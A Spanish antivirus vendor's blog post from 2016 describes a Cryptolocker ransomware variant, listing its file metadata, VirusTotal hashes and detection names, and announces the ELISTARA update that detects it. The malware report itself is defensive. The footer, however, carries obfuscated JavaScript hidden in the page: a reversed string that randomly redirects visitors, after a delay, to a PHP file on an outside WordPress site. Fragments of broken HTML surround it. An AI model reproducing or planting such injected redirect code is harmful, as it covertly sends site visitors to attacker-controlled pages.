VARIANTE DE CRYPTOLOCKER RECIBIDA DESDE COLOMBIA
Nos llega para analizar esta variante de ransomware Cryptolocker que tiene como icono la conocida U inscrita en un círculo verde.
tolocker-2-6-2016″ width=”270″ height=”63″ />
icono U inscrita en circulo verde – cryptolocker 2-6-2016.JPG
Lo pasamos a controlar a partir del ELISTARA 34.68 de hoy
En sus características se ve:
FileDescriptionImage & Animation Viewer
OSVersion5.0
FileOSWindows NT 32-bit
SubsystemWindows GUI
MachineTypeIntel 386 or later, and compatibles
CompanyNameC hun Sejin
El preanalisis de virustotal ofrece el siguiente informe:
MD5 1b26bd6f006d8f112e6d5e62d1e496c7
SHA1 bb1d1f1f31a5195028f35804a38e5ee6ac23c4bf
Tamaño del fichero 741.5 KB ( 759296 bytes )
SHA256: 9dc26e81098f9837de805573e352313fb1c842bd439dfd96d31dfffbdef2794b
Nombre: file.exe
Detecciones: 14 / 57
Fecha de análisis: 2016-06-02 08:40:28 UTC ( hace 0 minutos )
0 4
Antivirus Resultado Actualización
Antiy-AVL Trojan/Win32.SGeneric 20160602
Avira (no cloud) TR/Crypt.Xpack.qvay 20160602
Baidu Win32.Trojan.WisdomEyes.151026.9950.9999 20160602
DrWeb Trojan.Encoder.4715 20160602
ESET-NOD32 a variant of Win32/Kryptik.EYXR 20160602
Emsisoft Trojan.Win32.Agent (A) 20160602
Fortinet W32/Kryptik.EYVA!tr 20160602
Kaspersky UDS:DangerousObject.Multi.Generic 20160602
Malwarebytes Ransom.Crypt0L0cker 20160602
McAfee Artemis!1B26BD6F006D 20160602
McAfee-GW-Edition BehavesLike.Win32.Dropper.bm 20160602
Qihoo-360 HEUR/QVM20.1.Malware.Gen 20160602
Rising Trojan.Kryptik!8.8-c0wSvCqLM0D (Cloud) 20160602
Symantec Trojan.Cryptolocker.H 20160602
Dicha versión del ELISTARA 34.68 que lo detecta y elikmina, estará disponible en nuestra web a partir de las 18 h CEST de hoy
saludos
ms, 2-6-2016
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.
Siguenos
en facebook{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolocker-2-6-2016.jpg”><img decoding=){kind=link}
Los comentarios están cerrados.